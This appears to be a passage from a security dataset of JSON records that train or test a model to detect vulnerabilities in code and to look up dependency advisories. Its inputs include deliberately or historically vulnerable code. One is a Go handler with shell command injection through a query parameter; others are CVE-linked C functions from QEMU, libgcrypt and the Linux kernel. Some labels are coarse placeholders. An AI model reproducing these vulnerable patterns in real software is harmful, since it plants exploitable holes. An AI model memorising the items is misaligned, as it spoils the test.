\"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \"DO_UPCAST\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"SCSIDiskState\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 47\n },\n {\n \"token\": \"qdev\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 53\n },\n {\n \"token\": \"r\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 55\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 56\n },\n {\n \"token\": \"req\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 58\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 61\n },\n {\n \"token\": \"dev\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 62\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 65\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 66\n },\n {\n \"token\": \"uint32_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \"uint32_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"n\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"r\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \"req\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \"aiocb\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 16\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 8,\n \"col\": 22\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 8,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 29\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 8,\n \"col\": 31\n },\n {\n \"token\": \"r\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \"req\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 9,\n \"col\": 14\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-441", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: code-server\nInstalled version: <4.99.4\nSummary: code-server's session cookie can be extracted by having user visit specially crafted proxy URL", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-p483-wpfp-42cj\",\n \"cve\": \"CVE-2025-47269\",\n \"aliases\": [\n \"CVE-2025-47269\"\n ],\n \"cwe\": \"CWE-441\",\n \"ecosystem\": \"npm\",\n \"package\": \"code-server\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <4.99.4\",\n \"fixed_version\": \"4.99.4\",\n \"finding\": \"code-server's session cookie can be extracted by having user visit specially crafted proxy URL\",\n \"remediation\": \"Upgrade code-server to 4.99.4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "go", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this go snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "func ping(w http.ResponseWriter, r *http.Request) {\n\tparam := r.URL.Query().Get(\"id\")\n\tout, _ := exec.Command(\"sh\", \"-c\", \"ping -c 1 \"+param).Output()\n\tw.Write(out)\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via exec.Command sh -c\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\",\n \"expression_list\",\n \"call_expression\",\n \"selector_expression\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"exec\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"Command\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"sh\",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \"-c\",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 36\n },\n {\n \"token\": \"ping -c 1 \",\n \"ast_node\": \"interpreted_string_literal_content\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 47\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 48\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 54\n }\n ],\n \"explanation\": \"User input is concatenated into a shell -c command, allowing injection.\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static Bigint * Balloc(int k)\n{\n\tint x;\n\tBigint *rv;\n\n\t_THREAD_PRIVATE_MUTEX_LOCK(dtoa_mutex);\n\tif ((rv = freelist[k])) {\n\t\tfreelist[k] = rv->next;\n\t} else {\n\t\tx = 1 << k;\n\t\trv = (Bigint *)MALLOC(sizeof(Bigint) + (x-1)*sizeof(Long));\n\t\trv->k = k;\n\t\trv->maxwds = x;\n\t}\n\t_THREAD_PRIVATE_MUTEX_UNLOCK(dtoa_mutex);\n\trv->sign = rv->wds = 0;\n\treturn rv;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"php-src\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/QuantumNous/new-api\nInstalled version: 0.10.8-alpha.10\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/QuantumNous/new-api\",\n \"installed_version\": \"0.10.8-alpha.10\",\n \"note\": \"github.com/QuantumNous/new-api 0.10.8-alpha.10 is at or above the fixed version for GHSA-w6x6-9fp7-fqm4; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: nocodb\nInstalled version: 0.91.8\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"nocodb\",\n \"installed_version\": \"0.91.8\",\n \"note\": \"nocodb 0.91.8 is at or above the fixed version for GHSA-fq4h-m3c8-8m2v; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-319", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/cilium/cilium\nInstalled version: 1.13.0\nSummary: In Cilium, packets from terminating endpoints may not be encrypted in Wireguard-enabled clusters", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-5vxx-c285-pcq4\",\n \"cve\": \"CVE-2025-32793\",\n \"aliases\": [\n \"BIT-cilium-2025-32793\",\n \"BIT-cilium-operator-2025-32793\",\n \"BIT-hubble-relay-2025-32793\",\n \"CVE-2025-32793\",\n \"GO-2025-3635\"\n ],\n \"cwe\": \"CWE-319\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/cilium/cilium\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=1.13.0, <1.15.16\",\n \"fixed_version\": \"1.15.16\",\n \"finding\": \"In Cilium, packets from terminating endpoints may not be encrypted in Wireguard-enabled clusters\",\n \"remediation\": \"Upgrade github.com/cilium/cilium to 1.15.16 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "ssize_t nbd_receive_reply(QIOChannel *ioc, NBDReply *reply)\n{\n uint8_t buf[NBD_REPLY_SIZE];\n uint32_t magic;\n ssize_t ret;\n \n ret = read_sync(ioc, buf, sizeof(buf));\n if (ret < 0) {\n return ret;\n }\n if (ret != sizeof(buf)) {\n LOG(\"read failed\");\n return -EINVAL;\n }\n\n /* Reply\n [ 0 .. 3] magic (NBD_REPLY_MAGIC)\n [ 4 .. 7] error (0 == no error)\n [ 7 .. 15] handle\n */\n\n magic = ldl_be_p(buf);\n reply->error = ldl_be_p(buf + 4);\n reply->handle = ldq_be_p(buf + 8);\n\n reply->error = nbd_errno_to_system_errno(reply->error);\n\n if (reply->error == ESHUTDOWN) {\n /* This works even on mingw which lacks a native ESHUTDOWN */\n LOG(\"server shutting down\");\n return -EINVAL;\n }\n TRACE(\"Got reply: { magic = 0x%\" PRIx32 \", .error = % \" PRId32\n \", handle = %\" PRIu64\" }\",\n magic, reply->error, reply->handle);\n\n if (magic != NBD_REPLY_MAGIC) {\n LOG(\"invalid magic (got 0x%\" PRIx32 \")\", magic);\n return -EINVAL;\n }\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-7539\",\n \"project\": \"qemu\",\n \"vulnerable_lines\": [\n 8\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"ssize_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"nbd_receive_reply\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \"QIOChannel\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"ioc\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"NBDReply\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \"reply\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"uint8_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"NBD_REPLY_SIZE\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"uint32_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"magic\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"ssize_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"read_sync\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"ioc\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 21\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 24\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 29\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 7,\n \"col\": 31\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 37\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 42\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 43\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 8,\n \"col\": 17\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 19\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 10,\n \"col\": 5\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 7\n },\n {\n \"token\": \"ret\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 8\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 11,\n \"col\": 12\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 11,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 21\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 26\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 11,\n \"col\": 28\n },\n {\n \"token\": \"LOG\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 8\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static ssize_t bad_file_aio_read(struct kiocb *iocb, const struct iovec *iov,\n\t\t\tunsigned long nr_segs, loff_t pos)\n{\n\treturn -EIO;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int jpc_putms(jas_stream_t *out, jpc_cstate_t *cstate, jpc_ms_t *ms)\n{\n\tjas_stream_t *tmpstream;\n\tint len;\n\n\t/* Output the marker segment type. */\n\tif (jpc_putuint16(out, ms->id)) {\n\t\treturn -1;\n\t}\n\n\t/* Output the marker segment length and parameters if necessary. */\n\tif (ms->ops->putparms) {\n\t\t/* Create a temporary stream in which to buffer the\n\t\t parameter data. */\n\t\tif (!(tmpstream = jas_stream_memopen(0, 0))) {\n\t\t\treturn -1;\n\t\t}\n\t\tif ((*ms->ops->putparms)(ms, cstate, tmpstream)) {\n\t\t\tjas_stream_close(tmpstream);\n\t\t\treturn -1;\n\t\t}\n\t\t/* Get the number of bytes of parameter data written. */\n\t\tif ((len = jas_stream_tell(tmpstream)) < 0) {\n\t\t\tjas_stream_close(tmpstream);\n\t\t\treturn -1;\n\t\t}\n\t\tms->len = len;\n\t\t/* Write the marker segment length and parameter data to\n\t\t the output stream. */\n\t\tif (jas_stream_seek(tmpstream, 0, SEEK_SET) < 0 ||\n\t\t jpc_putuint16(out, ms->len + 2) ||\n\t\t jas_stream_copy(out, tmpstream, ms->len) < 0) {\n\t\t\tjas_stream_close(tmpstream);\n\t\t\treturn -1;\n\t\t}\n\t\t/* Close the temporary stream. */\n\t\tjas_stream_close(tmpstream);\n\t}\n\n\t/* This is a bit of a hack, but I'm not going to define another\n\t type of virtual function for this one special case. */\n\tif (ms->id == JPC_MS_SIZ) {\n\t\tcstate->numcomps = ms->parms.siz.numcomps;\n\t}\n\n\tif (jas_getdbglevel() > 0) {\n\t\tjpc_ms_dump(ms, stderr);\n\t}\n\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"jasper\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-310", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " static void prefetch_enc(void)\n {\n prefetch_table((const void *)encT, sizeof(encT));\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-310\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2019-12904\",\n \"project\": \"libgcrypt\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"prefetch_enc\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"prefetch_table\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \"encT\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \"encT\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 49\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 50\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 4,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.streampipes:streampipes-parent\nInstalled version: 0.98.0\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.streampipes:streampipes-parent\",\n \"installed_version\": \"0.98.0\",\n \"note\": \"org.apache.streampipes:streampipes-parent 0.98.0 is at or above the fixed version for GHSA-5r2g-vphf-m5xc; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int selinux_netlbl_inode_permission(struct inode *inode, int mask)\n{\n\tint rc;\n\tstruct sock *sk;\n\tstruct socket *sock;\n\tstruct sk_security_struct *sksec;\n\n\tif (!S_ISSOCK(inode->i_mode) ||\n\t ((mask & (MAY_WRITE | MAY_APPEND)) == 0))\n\t\treturn 0;\n\n\tsock = SOCKET_I(inode);\n\tsk = sock->sk;\n\tsksec = sk->sk_security;\n\tif (sksec->nlbl_state != NLBL_REQUIRE)\n\t\treturn 0;\n\n\tlocal_bh_disable();\n\tbh_lock_sock_nested(sk);\n\tif (likely(sksec->nlbl_state == NLBL_REQUIRE))\n\t\trc = selinux_netlbl_sock_setsid(sk);\n\telse\n\t\trc = 0;\n\tbh_unlock_sock(sk);\n\tlocal_bh_enable();\n\n\treturn rc;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.jenkins-ci.plugins:jclouds-jenkins\nInstalled version: 2.15\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.jenkins-ci.plugins:jclouds-jenkins\",\n \"installed_version\": \"2.15\",\n \"note\": \"org.jenkins-ci.plugins:jclouds-jenkins 2.15 is at or above the fixed version for GHSA-7wxc-7qrg-rg6w; no known advisory applies to this version.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static void *proc_pid_follow_link(struct dentry *dentry, struct nameidata *nd)\n{\n\tstruct inode *inode = dentry->d_inode;\n\tint error = -EACCES;\n\n\t/* We don't need a base pointer in the /proc filesystem */\n\tpath_put(&nd->path);\n\n\t/* Are we allowed to snoop on the tasks file descriptors? */\n\tif (!proc_fd_access_allowed(inode))\n \t\tgoto out;\n \n \terror = PROC_I(inode)->op.proc_get_link(inode, &nd->path);\n\tnd->last_type = LAST_BIND;\n out:\n \treturn ERR_PTR(error);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n 